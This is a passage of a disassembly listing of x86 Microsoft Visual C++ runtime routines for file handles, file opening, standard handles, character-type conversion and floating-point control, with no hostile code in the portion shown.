[ebp+var_A0] push eax call sub_41C530 push 12010h lea eax, [ebp+var_A0] push offset aMicrosoftVisua ; "Microsoft Visual C++ Runtime Library" push eax call sub_425448 add esp, 2Ch pop edi jmp short loc_423DE1 ; --------------------------------------------------------------------------- loc_423DBB: ; CODE XREF: sub_423C91+3Cj ; sub_423C91+4Dj lea eax, [ebp+arg_0] lea esi, off_43FC7C[esi] push 0 push eax push dword ptr [esi] call sub_41B650 pop ecx push eax push dword ptr [esi] push 0FFFFFFF4h call dword_428034 ; GetStdHandle push eax call dword_4280F0 ; WriteFile loc_423DE1: ; CODE XREF: sub_423C91+2Ej ; sub_423C91+59j ... pop esi leave retn sub_423C91 endp ; =============== S U B R O U T I N E ======================================= sub_423DE4 proc near ; CODE XREF: sub_4240FB:loc_424273p push ebx push esi push edi or ebx, 0FFFFFFFFh xor edi, edi xor esi, esi mov ecx, offset dword_4DF920 loc_423DF3: ; CODE XREF: sub_423DE4+48j mov eax, [ecx] test eax, eax jz short loc_423E30 lea edx, [eax+100h] loc_423DFF: ; CODE XREF: sub_423DE4+28j cmp eax, edx jnb short loc_423E1F test byte ptr [eax+4], 1 jz short loc_423E0E add eax, 8 jmp short loc_423DFF ; --------------------------------------------------------------------------- loc_423E0E: ; CODE XREF: sub_423DE4+23j or dword ptr [eax], 0FFFFFFFFh sub eax, [ecx] sar eax, 3 add eax, esi mov ebx, eax cmp ebx, 0FFFFFFFFh jnz short loc_423E73 loc_423E1F: ; CODE XREF: sub_423DE4+1Dj add ecx, 4 inc edi add esi, 20h cmp ecx, offset dword_4DFA20 jl short loc_423DF3 jmp short loc_423E73 ; --------------------------------------------------------------------------- loc_423E30: ; CODE XREF: sub_423DE4+13j mov esi, 100h push esi call sub_41BB45 test eax, eax pop ecx jz short loc_423E73 add dword_4DFA20, 20h lea ecx, ds:4DF920h[edi*4] lea edx, [eax+100h] mov [ecx], eax loc_423E56: ; CODE XREF: sub_423DE4+88j cmp eax, edx jnb short loc_423E6E and byte ptr [eax+4], 0 or dword ptr [eax], 0FFFFFFFFh mov byte ptr [eax+5], 0Ah mov edx, [ecx] add eax, 8 add edx, esi jmp short loc_423E56 ; --------------------------------------------------------------------------- loc_423E6E: ; CODE XREF: sub_423DE4+74j shl edi, 5 mov ebx, edi loc_423E73: ; CODE XREF: sub_423DE4+39j ; sub_423DE4+4Aj ... pop edi mov eax, ebx pop esi pop ebx retn sub_423DE4 endp ; =============== S U B R O U T I N E ======================================= sub_423E79 proc near ; CODE XREF: sub_4240FB+1F4p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push esi cmp eax, dword_4DFA20 push edi jnb short loc_423ED9 mov ecx, eax mov esi, eax sar ecx, 5 and esi, 1Fh lea edi, ds:4DF920h[ecx*4] shl esi, 3 mov ecx, [edi] cmp dword ptr [ecx+esi], 0FFFFFFFFh jnz short loc_423ED9 cmp dword_43D5E4, 1 push ebx mov ebx, [esp+0Ch+arg_4] jnz short loc_423ECF sub eax, 0 jz short loc_423EC6 dec eax jz short loc_423EC1 dec eax jnz short loc_423ECF push ebx push 0FFFFFFF4h jmp short loc_423EC9 ; --------------------------------------------------------------------------- loc_423EC1: ; CODE XREF: sub_423E79+3Ej push ebx push 0FFFFFFF5h jmp short loc_423EC9 ; --------------------------------------------------------------------------- loc_423EC6: ; CODE XREF: sub_423E79+3Bj push ebx push 0FFFFFFF6h loc_423EC9: ; CODE XREF: sub_423E79+46j ; sub_423E79+4Bj call dword_42802C ; SetStdHandle loc_423ECF: ; CODE XREF: sub_423E79+36j ; sub_423E79+41j mov eax, [edi] mov [eax+esi], ebx xor eax, eax pop ebx jmp short loc_423EED ; --------------------------------------------------------------------------- loc_423ED9: ; CODE XREF: sub_423E79+Cj ; sub_423E79+28j and dword_4DE5C8, 0 mov dword_4DE5C4, 9 or eax, 0FFFFFFFFh loc_423EED: ; CODE XREF: sub_423E79+5Ej pop edi pop esi retn sub_423E79 endp ; =============== S U B R O U T I N E ======================================= sub_423EF0 proc near ; CODE XREF: sub_41E112+7Cp arg_0 = dword ptr 4 mov ecx, [esp+arg_0] push esi cmp ecx, dword_4DFA20 push edi jnb short loc_423F53 mov eax, ecx mov esi, ecx sar eax, 5 and esi, 1Fh lea edi, ds:4DF920h[eax*4] shl esi, 3 mov eax, [edi] add eax, esi test byte ptr [eax+4], 1 jz short loc_423F53 cmp dword ptr [eax], 0FFFFFFFFh jz short loc_423F53 cmp dword_43D5E4, 1 jnz short loc_423F49 xor eax, eax sub ecx, eax jz short loc_423F40 dec ecx jz short loc_423F3B dec ecx jnz short loc_423F49 push eax push 0FFFFFFF4h jmp short loc_423F43 ; --------------------------------------------------------------------------- loc_423F3B: ; CODE XREF: sub_423EF0+41j push eax push 0FFFFFFF5h jmp short loc_423F43 ; --------------------------------------------------------------------------- loc_423F40: ; CODE XREF: sub_423EF0+3Ej push eax push 0FFFFFFF6h loc_423F43: ; CODE XREF: sub_423EF0+49j ; sub_423EF0+4Ej call dword_42802C ; SetStdHandle loc_423F49: ; CODE XREF: sub_423EF0+38j ; sub_423EF0+44j mov eax, [edi] or dword ptr [eax+esi], 0FFFFFFFFh xor eax, eax jmp short loc_423F67 ; --------------------------------------------------------------------------- loc_423F53: ; CODE XREF: sub_423EF0+Cj ; sub_423EF0+2Aj ... and dword_4DE5C8, 0 mov dword_4DE5C4, 9 or eax, 0FFFFFFFFh loc_423F67: ; CODE XREF: sub_423EF0+61j pop edi pop esi retn sub_423EF0 endp ; =============== S U B R O U T I N E ======================================= sub_423F6A proc near ; CODE XREF: sub_41E112+32p ; sub_41E112+49p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] cmp eax, dword_4DFA20 jnb short loc_423F92 mov ecx, eax and eax, 1Fh sar ecx, 5 mov ecx, dword_4DF920[ecx*4] test byte ptr [ecx+eax*8+4], 1 lea eax, [ecx+eax*8] jz short loc_423F92 mov eax, [eax] retn ; --------------------------------------------------------------------------- loc_423F92: ; CODE XREF: sub_423F6A+Aj ; sub_423F6A+23j and dword_4DE5C8, 0 mov dword_4DE5C4, 9 or eax, 0FFFFFFFFh retn sub_423F6A endp ; =============== S U B R O U T I N E ======================================= sub_423FA7 proc near ; CODE XREF: sub_41E1F0+2Bp arg_0 = dword ptr 4 mov eax, [esp+arg_0] cmp eax, dword_4DFA20 jnb short loc_423FF0 mov ecx, eax mov edx, eax sar ecx, 5 and edx, 1Fh mov ecx, dword_4DF920[ecx*4] test byte ptr [ecx+edx*8+4], 1 jz short loc_423FF0 push eax call sub_423F6A pop ecx push eax call dword_428028 ; FlushFileBuffers test eax, eax jnz short loc_423FE5 call dword_428094 ; RtlGetLastWin32Error jmp short loc_423FE7 ; --------------------------------------------------------------------------- loc_423FE5: ; CODE XREF: sub_423FA7+34j xor eax, eax loc_423FE7: ; CODE XREF: sub_423FA7+3Cj test eax, eax jz short locret_423FFD mov dword_4DE5C8, eax loc_423FF0: ; CODE XREF: sub_423FA7+Aj ; sub_423FA7+22j mov dword_4DE5C4, 9 or eax, 0FFFFFFFFh locret_423FFD: ; CODE XREF: sub_423FA7+42j retn sub_423FA7 endp ; =============== S U B R O U T I N E ======================================= sub_423FFE proc near ; DATA XREF: .XPack0:0042A024o mov eax, dword_4DF900 push esi push 14h test eax, eax pop esi jnz short loc_424012 mov eax, 200h jmp short loc_424018 ; --------------------------------------------------------------------------- loc_424012: ; CODE XREF: sub_423FFE+Bj cmp eax, esi jge short loc_42401D mov eax, esi loc_424018: ; CODE XREF: sub_423FFE+12j mov dword_4DF900, eax loc_42401D: ; CODE XREF: sub_423FFE+16j push 4 push eax call sub_4254D1 pop ecx mov dword_4DE8E8, eax test eax, eax pop ecx jnz short loc_424051 push 4 push esi mov dword_4DF900, esi call sub_4254D1 pop ecx mov dword_4DE8E8, eax test eax, eax pop ecx jnz short loc_424051 push 1Ah call sub_41E0C9 pop ecx loc_424051: ; CODE XREF: sub_423FFE+30j ; sub_423FFE+49j xor ecx, ecx mov eax, offset off_43FD08 loc_424058: ; CODE XREF: sub_423FFE+6Ej mov edx, dword_4DE8E8 mov [ecx+edx], eax add eax, 20h add ecx, 4 cmp eax, offset dword_43FF88 jl short loc_424058 xor edx, edx mov ecx, offset dword_43FD18 loc_424075: ; CODE XREF: sub_423FFE+A1j mov eax, edx mov esi, edx sar eax, 5 and esi, 1Fh mov eax, dword_4DF920[eax*4] mov eax, [eax+esi*8] cmp eax, 0FFFFFFFFh jz short loc_424092 test eax, eax jnz short loc_424095 loc_424092: ; CODE XREF: sub_423FFE+8Ej or dword ptr [ecx], 0FFFFFFFFh loc_424095: ; CODE XREF: sub_423FFE+92j add ecx, 20h inc edx cmp ecx, offset dword_43FD78 jl short loc_424075 pop esi retn sub_423FFE endp ; =============== S U B R O U T I N E ======================================= sub_4240A3 proc near ; DATA XREF: .XPack0:0042A034o ; FUNCTION CHUNK AT 00425582 SIZE 00000058 BYTES call sub_41E287 cmp byte_4DE604, 0 jz short locret_4240B6 jmp loc_425582 ; --------------------------------------------------------------------------- locret_4240B6: ; CODE XREF: sub_4240A3+Cj retn sub_4240A3 endp ; =============== S U B R O U T I N E ======================================= sub_4240B7 proc near ; CODE XREF: sub_41F6E3+32p ; sub_41FC2A+6Cp ... arg_0 = dword ptr 4 inc dword_4DE7B0 push 1000h call sub_41BB45 pop ecx mov ecx, [esp+arg_0] test eax, eax mov [ecx+8], eax jz short loc_4240E0 or dword ptr [ecx+0Ch], 8 mov dword ptr [ecx+18h], 1000h jmp short loc_4240F1 ; --------------------------------------------------------------------------- loc_4240E0: ; CODE XREF: sub_4240B7+1Aj or dword ptr [ecx+0Ch], 4 lea eax, [ecx+14h] mov [ecx+8], eax mov dword ptr [ecx+18h], 2 loc_4240F1: ; CODE XREF: sub_4240B7+27j mov eax, [ecx+8] and dword ptr [ecx+4], 0 mov [ecx], eax retn sub_4240B7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4240FB proc near ; CODE XREF: sub_41F9CD+13Fp var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 1Ch mov ecx, [ebp+arg_4] push ebx xor ebx, ebx push esi test cl, 80h push edi mov [ebp+var_1C], 0Ch mov [ebp+var_18], ebx jz short loc_424121 mov [ebp+var_14], ebx mov [ebp+var_1], 10h jmp short loc_42412C ; --------------------------------------------------------------------------- loc_424121: ; CODE XREF: sub_4240FB+1Bj and [ebp+var_1], 0 mov [ebp+var_14], 1 loc_42412C: ; CODE XREF: sub_4240FB+24j mov eax, 8000h test ecx, eax jnz short loc_424146 test ch, 40h jnz short loc_424142 cmp dword_4DE8C0, eax jz short loc_424146 loc_424142: ; CODE XREF: sub_4240FB+3Dj or [ebp+var_1], 80h loc_424146: ; CODE XREF: sub_4240FB+38j ; sub_4240FB+45j push 3 mov eax, ecx pop esi and eax, esi sub eax, ebx jz short loc_42417E dec eax jz short loc_424175 dec eax jz short loc_42416C loc_424157: ; CODE XREF: sub_4240FB+9Fj ; sub_4240FB+E8j ... mov dword_4DE5C4, 16h mov dword_4DE5C8, ebx jmp loc_424391 ; --------------------------------------------------------------------------- loc_42416C: ; CODE XREF: sub_4240FB+5Aj mov [ebp+var_C], 0C0000000h jmp short loc_424185 ; --------------------------------------------------------------------------- loc_424175: ; CODE XREF: sub_4240FB+57j mov [ebp+var_C], 40000000h jmp short loc_424185 ; --------------------------------------------------------------------------- loc_42417E: ; CODE XREF: sub_4240FB+54j mov [ebp+var_C], 80000000h loc_424185: ; CODE XREF: sub_4240FB+78j ; sub_4240FB+81j mov eax, [ebp+arg_8] cmp eax, 10h jz short loc_4241B3 cmp eax, 20h jz short loc_4241AA cmp eax, 30h jz short loc_4241A1 cmp eax, 40h jnz short loc_424157 mov [ebp+var_10], esi jmp short loc_4241B6 ; --------------------------------------------------------------------------- loc_4241A1: ; CODE XREF: sub_4240FB+9Aj mov [ebp+var_10], 2 jmp short loc_4241B6 ; --------------------------------------------------------------------------- loc_4241AA: ; CODE XREF: sub_4240FB+95j mov [ebp+var_10], 1 jmp short loc_4241B6 ; --------------------------------------------------------------------------- loc_4241B3: ; CODE XREF: sub_4240FB+90j mov [ebp+var_10], ebx loc_4241B6: ; CODE XREF: sub_4240FB+A4j ; sub_4240FB+ADj ... mov edx, 700h mov eax, 400h and ecx, edx mov edi, 100h cmp ecx, eax jg short loc_424200 jz short loc_4241FB cmp ecx, ebx jz short loc_4241FB cmp ecx, edi jz short loc_4241F2 cmp ecx, 200h jz short loc_424219 cmp ecx, 300h jnz loc_424157 mov [ebp+var_8], 2 jmp short loc_424229 ; --------------------------------------------------------------------------- loc_4241F2: ; CODE XREF: sub_4240FB+D8j mov [ebp+var_8], 4 jmp short loc_424229 ; --------------------------------------------------------------------------- loc_4241FB: ; CODE XREF: sub_4240FB+D0j ; sub_4240FB+D4j mov [ebp+var_8], esi jmp short loc_424229 ; --------------------------------------------------------------------------- loc_424200: ; CODE XREF: sub_4240FB+CEj cmp ecx, 500h jz short loc_424222 cmp ecx, 600h jz short loc_424219 cmp ecx, edx jz short loc_424222 jmp loc_424157 ; --------------------------------------------------------------------------- loc_424219: ; CODE XREF: sub_4240FB+E0j ; sub_4240FB+113j mov [ebp+var_8], 5 jmp short loc_424229 ; --------------------------------------------------------------------------- loc_424222: ; CODE XREF: sub_4240FB+10Bj ; sub_4240FB+117j mov [ebp+var_8], 1 loc_424229: ; CODE XREF: sub_4240FB+F5j ; sub_4240FB+FEj ... mov eax, [ebp+arg_4] mov esi, 80h test eax, edi jz short loc_424248 mov ecx, dword_4DE5CC not ecx and ecx, [ebp+arg_C] test cl, 80h jnz short loc_424248 push 1 pop esi loc_424248: ; CODE XREF: sub_4240FB+138j ; sub_4240FB+148j test al, 40h jz short loc_424256 or esi, 4000000h or byte ptr [ebp+var_C+2], 1 loc_424256: ; CODE XREF: sub_4240FB+14Fj test ah, 10h jz short loc_42425D or esi, edi loc_42425D: ; CODE XREF: sub_4240FB+15Ej test al, 20h jz short loc_424269 or esi, 8000000h jmp short loc_424273 ; --------------------------------------------------------------------------- loc_424269: ; CODE XREF: sub_4240FB+164j test al, 10h jz short loc_424273 or esi, 10000000h loc_424273: ; CODE XREF: sub_4240FB+16Cj ; sub_4240FB+170j call sub_423DE4 mov ebx, eax or edi, 0FFFFFFFFh cmp ebx, edi jnz short loc_424294 and dword_4DE5C8, 0 mov dword_4DE5C4, 18h jmp short loc_4242D2 ; --------------------------------------------------------------------------- loc_424294: ; CODE XREF: sub_4240FB+184j push 0 push esi push [ebp+var_8] lea eax, [ebp+var_1C] push eax push [ebp+var_10] push [ebp+var_C] push [ebp+arg_0] call dword_4280F8 ; CreateFileA mov esi, eax cmp esi, edi jz short loc_4242C5 push esi call dword_428030 ; GetFileType test eax, eax jnz short loc_4242D9 push esi call dword_428070 ; CloseHandle loc_4242C5: ; CODE XREF: sub_4240FB+1B6j call dword_428094 ; RtlGetLastWin32Error push eax call sub_420A7F pop ecx loc_4242D2: ; CODE XREF: sub_4240FB+197j mov eax, edi jmp loc_4243AF ; --------------------------------------------------------------------------- loc_4242D9: ; CODE XREF: sub_4240FB+1C1j cmp eax, 2 jnz short loc_4242E4 or [ebp+var_1], 40h jmp short loc_4242ED ; --------------------------------------------------------------------------- loc_4242E4: ; CODE XREF: sub_4240FB+1E1j cmp eax, 3 jnz short loc_4242ED or [ebp+var_1], 8 loc_4242ED: ; CODE XREF: sub_4240FB+1E7j ; sub_4240FB+1ECj push esi push ebx call sub_423E79 pop ecx mov al, [ebp+var_1] pop ecx mov esi, ebx mov ecx, ebx or al, 1 sar ecx, 5 and esi, 1Fh mov byte ptr [ebp+arg_0+3], al lea edi, ds:4DF920h[ecx*4] shl esi, 3 mov ecx, [edi] and byte ptr [ebp+arg_0+3], 48h mov [ecx+esi+4], al jnz short loc_424396 test al, 80h jz short loc_424396 test byte ptr [ebp+arg_4], 2 jz short loc_424396 push 2 push 0FFFFFFFFh push ebx call sub_422DCB add esp, 0Ch cmp eax, 0FFFFFFFFh mov [ebp+var_10], eax jnz short loc_42434B cmp dword_4DE5C8, 83h jz short loc_424396 jmp short loc_42438A ; --------------------------------------------------------------------------- loc_42434B: ; CODE XREF: sub_4240FB+240j and byte ptr [ebp+arg_8+3], 0 lea eax, [ebp+arg_8+3] push 1 push eax push ebx call sub_41F7BC add esp, 0Ch test eax, eax jnz short loc_424378 cmp byte ptr [ebp+arg_8+3], 1Ah jnz short loc_424378 push [ebp+var_10] push ebx call sub_4255DA pop ecx cmp eax, 0FFFFFFFFh pop ecx jz short loc_42438A loc_424378: ; CODE XREF: sub_4240FB+265j ; sub_4240FB+26Bj push 0 push 0 push ebx call sub_422DCB add esp, 0Ch cmp eax, 0FFFFFFFFh jnz short loc_424396 loc_42438A: ; CODE XREF: sub_4240FB+24Ej ; sub_4240FB+27Bj push ebx call sub_41E112 pop ecx loc_424391: ; CODE XREF: sub_4240FB+6Cj or eax, 0FFFFFFFFh jmp short loc_4243AF ; --------------------------------------------------------------------------- loc_424396: ; CODE XREF: sub_4240FB+221j ; sub_4240FB+225j ... cmp byte ptr [ebp+arg_0+3], 0 jnz short loc_4243AD test byte ptr [ebp+arg_4], 8 jz short loc_4243AD mov eax, [edi] or byte ptr [eax+esi+4], 20h lea eax, [eax+esi+4] loc_4243AD: ; CODE XREF: sub_4240FB+29Fj ; sub_4240FB+2A5j mov eax, ebx loc_4243AF: ; CODE XREF: sub_4240FB+1D9j ; sub_4240FB+299j pop edi pop esi pop ebx leave retn sub_4240FB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4243B4 proc near ; CODE XREF: sub_41FBB5+5Ep ; sub_420788+9Ap var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = byte ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_428C38 push offset sub_423B80 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 18h push ebx push esi push edi mov [ebp+var_18], esp mov eax, dword_4DE7B8 xor ebx, ebx cmp eax, ebx jnz short loc_424423 lea eax, [ebp+var_1C] push eax push 1 pop esi push esi push offset dword_428928 push esi call dword_428020 ; GetStringTypeW test eax, eax jz short loc_424401 mov eax, esi jmp short loc_42441E ; --------------------------------------------------------------------------- loc_424401: ; CODE XREF: sub_4243B4+47j lea eax, [ebp+var_1C] push eax push esi push offset dword_4CE1C0 push esi push ebx call dword_428024 ; GetStringTypeA test eax, eax jz loc_4244E9 push 2 pop eax loc_42441E: ; CODE XREF: sub_4243B4+4Bj mov dword_4DE7B8, eax loc_424423: ; CODE XREF: sub_4243B4+2Fj cmp eax, 2 jnz short loc_42444C mov eax, [ebp+arg_14] cmp eax, ebx jnz short loc_424434 mov eax, dword_4DE684 loc_424434: ; CODE XREF: sub_4243B4+79j push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] push eax call dword_428024 ; GetStringTypeA jmp loc_4244EB ; --------------------------------------------------------------------------- loc_42444C: ; CODE XREF: sub_4243B4+72j cmp eax, 1 jnz loc_4244E9 cmp [ebp+arg_10], ebx jnz short loc_424462 mov eax, dword_4DE694 mov [ebp+arg_10], eax loc_424462: ; CODE XREF: sub_4243B4+A4j push ebx push ebx push [ebp+arg_8] push [ebp+arg_4] mov eax, [ebp+arg_18] neg eax sbb eax, eax and eax, 8 inc eax push eax push [ebp+arg_10] call dword_4280E8 ; MultiByteToWideChar mov [ebp+var_20], eax cmp eax, ebx jz short loc_4244E9 mov [ebp+var_4], ebx lea edi, [eax+eax] mov eax, edi add eax, 3 and al, 0FCh call sub_41C190 mov [ebp+var_18], esp mov esi, esp mov [ebp+var_24], esi push edi push ebx push esi call sub_41BC00 add esp, 0Ch jmp short loc_4244B8 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor ebx, ebx xor esi, esi loc_4244B8: ; CODE XREF: sub_4243B4+F7j or [ebp+var_4], 0FFFFFFFFh cmp esi, ebx jz short loc_4244E9 push [ebp+var_20] push esi push [ebp+arg_8] push [ebp+arg_4] push 1 push [ebp+arg_10] call dword_4280E8 ; MultiByteToWideChar cmp eax, ebx jz short loc_4244E9 push [ebp+arg_C] push eax push esi push [ebp+arg_0] call dword_428020 ; GetStringTypeW jmp short loc_4244EB ; --------------------------------------------------------------------------- loc_4244E9: ; CODE XREF: sub_4243B4+61j ; sub_4243B4+9Bj ... xor eax, eax loc_4244EB: ; CODE XREF: sub_4243B4+93j ; sub_4243B4+133j lea esp, [ebp-34h] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_4243B4 endp ; =============== S U B R O U T I N E ======================================= sub_4244FD proc near ; CODE XREF: sub_41FC2A+61p ; sub_420AE6+8p arg_0 = dword ptr 4 mov eax, [esp+arg_0] cmp eax, dword_4DFA20 jb short loc_42450C xor eax, eax retn ; --------------------------------------------------------------------------- loc_42450C: ; CODE XREF: sub_4244FD+Aj mov ecx, eax and eax, 1Fh sar ecx, 5 mov ecx, dword_4DF920[ecx*4] mov al, [ecx+eax*8+4] and eax, 40h retn sub_4244FD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424523 proc near ; CODE XREF: sub_41FD3F+2D4p ; sub_41FD3F+6B3p arg_0 = dword ptr 8 arg_4 = word ptr 0Ch push ebp mov ebp, esp mov eax, [ebp+arg_0] test eax, eax jnz short loc_42452F pop ebp retn ; --------------------------------------------------------------------------- loc_42452F: ; CODE XREF: sub_424523+8j cmp dword_4DE684, 0 jnz short loc_42454A mov cx, [ebp+arg_4] cmp cx, 0FFh ja short loc_42457C push 1 mov [eax], cl pop eax pop ebp retn ; --------------------------------------------------------------------------- loc_42454A: ; CODE XREF: sub_424523+13j lea ecx, [ebp+arg_0] and [ebp+arg_0], 0 push ecx push 0 push dword_43F824 push eax lea eax, [ebp+arg_4] push 1 push eax push 220h push dword_4DE694 call dword_42818C ; WideCharToMultiByte test eax, eax jz short loc_42457C cmp [ebp+arg_0], 0 jz short loc_424589 loc_42457C: ; CODE XREF: sub_424523+1Ej ; sub_424523+51j mov dword_4DE5C4, 2Ah or eax, 0FFFFFFFFh loc_424589: ; CODE XREF: sub_424523+57j pop ebp retn sub_424523 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42458B proc near ; CODE XREF: sub_420BB0+6A3p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ebx push esi mov esi, [ebp+arg_4] xor ebx, ebx cmp esi, ebx jz short loc_4245AE cmp [ebp+arg_8], ebx jz short loc_4245AE mov al, [esi] cmp al, bl jnz short loc_4245B4 mov eax, [ebp+arg_0] cmp eax, ebx jz short loc_4245AE mov [eax], bx loc_4245AE: ; CODE XREF: sub_42458B+Cj ; sub_42458B+11j ... xor eax, eax loc_4245B0: ; CODE XREF: sub_42458B+42j ; sub_42458B+86j ... pop esi pop ebx pop ebp retn ; --------------------------------------------------------------------------- loc_4245B4: ; CODE XREF: sub_42458B+17j cmp dword_4DE684, ebx jnz short loc_4245CF mov ecx, [ebp+arg_0] cmp ecx, ebx jz short loc_4245CA movzx ax, al mov [ecx], ax loc_4245CA: ; CODE XREF: sub_42458B+36j ; sub_42458B+C0j push 1 pop eax jmp short loc_4245B0 ; --------------------------------------------------------------------------- loc_4245CF: ; CODE XREF: sub_42458B+2Fj mov ecx, off_43F618 movzx eax, al test byte ptr [ecx+eax*2+1], 80h jz short loc_42462C mov eax, dword_43F824 cmp eax, 1 jle short loc_424613 cmp [ebp+arg_8], eax jl short loc_42461D xor ecx, ecx cmp [ebp+arg_0], ebx setnz cl push ecx push [ebp+arg_0] push eax push esi push 9 push dword_4DE694 call dword_4280E8 ; MultiByteToWideChar test eax, eax mov eax, dword_43F824 jnz short loc_4245B0 loc_424613: ; CODE XREF: sub_42458B+5Cj cmp [ebp+arg_8], eax jb short loc_42461D cmp [esi+1], bl jnz short loc_4245B0 loc_42461D: ; CODE XREF: sub_42458B+61j ; sub_42458B+8Bj ... mov dword_4DE5C4, 2Ah or eax, 0FFFFFFFFh jmp short loc_4245B0 ; --------------------------------------------------------------------------- loc_42462C: ; CODE XREF: sub_42458B+52j xor eax, eax cmp [ebp+arg_0], ebx setnz al push eax push [ebp+arg_0] push 1 push esi push 9 push dword_4DE694 call dword_4280E8 ; MultiByteToWideChar test eax, eax jnz loc_4245CA jmp short loc_42461D sub_42458B endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_424660 proc near ; CODE XREF: sub_420BB0+797p ; sub_420BB0+7E7p cmp cl, 40h jnb short loc_42467A cmp cl, 20h jnb short loc_424670 shld edx, eax, cl shl eax, cl retn ; --------------------------------------------------------------------------- loc_424670: ; CODE XREF: sub_424660+8j mov edx, eax xor eax, eax and cl, 1Fh shl edx, cl retn ; --------------------------------------------------------------------------- loc_42467A: ; CODE XREF: sub_424660+3j xor eax, eax xor edx, edx retn sub_424660 endp ; =============== S U B R O U T I N E ======================================= sub_42467F proc near ; CODE XREF: sub_421626+Fp arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx mov ebx, [esp+4+arg_0] cmp ebx, 0FFFFFFFFh push esi jz short loc_4246CB mov esi, [esp+8+arg_4] mov eax, [esi+0Ch] test al, 1 jnz short loc_42469D test al, 80h jz short loc_4246CB test al, 2 jnz short loc_4246CB loc_42469D: ; CODE XREF: sub_42467F+14j cmp dword ptr [esi+8], 0 jnz short loc_4246AA push esi call sub_4240B7 pop ecx loc_4246AA: ; CODE XREF: sub_42467F+22j mov eax, [esi] cmp eax, [esi+8] jnz short loc_4246BA cmp dword ptr [esi+4], 0 jnz short loc_4246CB inc eax mov [esi], eax loc_4246BA: ; CODE XREF: sub_42467F+30j test byte ptr [esi+0Ch], 40h jz short loc_4246D1 dec dword ptr [esi] mov eax, [esi] cmp [eax], bl jz short loc_4246D7 inc eax mov [esi], eax loc_4246CB: ; CODE XREF: sub_42467F+9j ; sub_42467F+18j ... or eax, 0FFFFFFFFh loc_4246CE: ; CODE XREF: sub_42467F+6Cj pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_4246D1: ; CODE XREF: sub_42467F+3Fj dec dword ptr [esi] mov eax, [esi] mov [eax], bl loc_4246D7: ; CODE XREF: sub_42467F+47j mov eax, [esi+0Ch] inc dword ptr [esi+4] and al, 0EFh or al, 1 mov [esi+0Ch], eax mov eax, ebx and eax, 0FFh jmp short loc_4246CE sub_42467F endp ; =============== S U B R O U T I N E ======================================= sub_4246ED proc near ; CODE XREF: sub_421C16+52p xor eax, eax retn sub_4246ED endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4246F0 proc near ; CODE XREF: sub_424725+Ep var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push esi fstcw word ptr [ebp+var_4] push [ebp+var_4] call sub_42473B mov esi, eax mov eax, [ebp+arg_4] not eax and esi, eax mov eax, [ebp+arg_0] and eax, [ebp+arg_4] or esi, eax push esi call sub_4247CD pop ecx mov [ebp+arg_4], eax pop ecx fldcw word ptr [ebp+arg_4] mov eax, esi pop esi leave retn sub_4246F0 endp ; =============== S U B R O U T I N E ======================================= sub_424725 proc near ; CODE XREF: sub_421F02+Ap arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] and eax, 0FFF7FFFFh push eax push [esp+4+arg_0] call sub_4246F0 pop ecx pop ecx retn sub_424725 endp ; =============== S U B R O U T I N E ======================================= sub_42473B proc near ; CODE XREF: sub_4246F0+Cp arg_0 = dword ptr 4 push ebx mov ebx, [esp+4+arg_0] xor eax, eax push ebp test bl, 1 push edi jz short loc_42474C push 10h pop eax loc_42474C: ; CODE XREF: sub_42473B+Cj test bl, 4 jz short loc_424753 or al, 8 loc_424753: ; CODE XREF: sub_42473B+14j test bl, 8 jz short loc_42475A or al, 4 loc_42475A: ; CODE XREF: sub_42473B+1Bj test bl, 10h jz short loc_424761 or al, 2 loc_424761: ; CODE XREF: sub_42473B+22j test bl, 20h jz short loc_424768 or al, 1 loc_424768: ; CODE XREF: sub_42473B+29j test bl, 2 jz short loc_424772 or eax, 80000h loc_424772: ; CODE XREF: sub_42473B+30j movzx ecx, bx push esi mov edx, ecx mov esi, 0C00h mov edi, 300h and edx, esi mov ebp, 200h jz short loc_4247AA cmp edx, 400h jz short loc_4247A7 cmp edx, 800h jz short loc_4247A3 cmp edx, esi jnz short loc_4247AA or eax, edi jmp short loc_4247AA ; --------------------------------------------------------------------------- loc_4247A3: ; CODE XREF: sub_42473B+5Ej or eax, ebp jmp short loc_4247AA ; --------------------------------------------------------------------------- loc_4247A7: ; CODE XREF: sub_42473B+56j or ah, 1 loc_4247AA: ; CODE XREF: sub_42473B+4Ej ; sub_42473B+62j ... and ecx, edi pop esi jz short loc_4247BA cmp ecx, ebp jnz short loc_4247BF or eax, 10000h jmp short loc_4247BF ; --------------------------------------------------------------------------- loc_4247BA: ; CODE XREF: sub_42473B+72j or eax, 20000h loc_4247BF: ; CODE XREF: sub_42473B+76j ; 